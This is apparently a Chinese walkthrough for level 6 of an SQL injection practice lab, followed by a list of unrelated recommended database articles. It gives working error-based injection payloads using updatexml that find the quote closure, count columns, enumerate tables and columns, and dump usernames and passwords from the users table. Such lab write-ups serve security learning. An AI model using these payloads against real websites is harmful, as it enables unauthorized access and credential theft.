SQL靶场第六关

一.判断闭合点

闭合点是"

输入?id=1'页面无变化

输入?id=1"页面报错,加上--+,页面恢复正常,说明闭合点是"

二.判断列数

输入?id=1" order by 3--+页面正常

输入?id=1" order by 4--+页面异常,说明有3列

三.查询数据库

我们先判断回显点,输入?id=1" union select 1,2,3--+

发现没有回显点,我们利用报错注入

输入?id=1" and updatexml(1,concat(1,(select database())),1)--+查询到数据库为security

四.查询数据表

输入?id=1" and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+

五.查询列名

输入?id=1" and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+

六.查询数据

输入?id=1" and updatexml(1,concat(1,(select group_concat(id,'~',username,'~',password) from users)),1)--+

这里我们发现数据不全,我们就需要用到limit函数

第一个数据:

输入?id=1" and updatexml(1,concat(1,(select concat(id,'~',username,'~',password) from users limit 0,1)),1)--+

第二个数据:?id=1" and updatexml(1,concat(1,(select concat(id,'~',username,'~',password) from users limit 1,1)),1)--+

。。。依次类推。。。

以上就是sql靶场第六关的通关攻略!

相关推荐
数据库小学妹10 分钟前
关系型数据库内置图查询来了:SQL/PGQ标准怎么用
数据库·图数据库·关系型数据库·图查询·数据库新特性
pnoker28 分钟前
IoT DC3 时序存储选型:四款数据库可插拔
数据库·物联网·postgresql·时序数据库·influxdb·tdengine·iotdb
黑臂麒麟41 分钟前
HarmonyOS鸿蒙实战应用6:随手账本——Preferences本地持久化
数据库·华为·app·鸿蒙
2601_962174171 小时前
小试牛刀-SpringBoot集成SOL链
数据库·spring boot·后端
如何取名1 小时前
结合实际业务进行LRU淘汰算法优化设计(数据库开发日志)
数据库·算法
HanhahnaH1 小时前
Outbox 投递器:事务性发件箱模式详解
数据库
新时代牛马1 小时前
epoll 源码路径:从epoll_ctl 到ep_poll 的就绪唤醒
网络·数据库·网络协议
小蒜学长1 小时前
基于SpringBoot + Vue的智能健身房管理系统的设计与实现(代码+数据库+LW)
java·数据库·vue.js·spring boot·后端
芦柑4642 小时前
画布和3D导演台工具:短剧分镜从素材整理到空间预演的完整链路
服务器·前端·数据库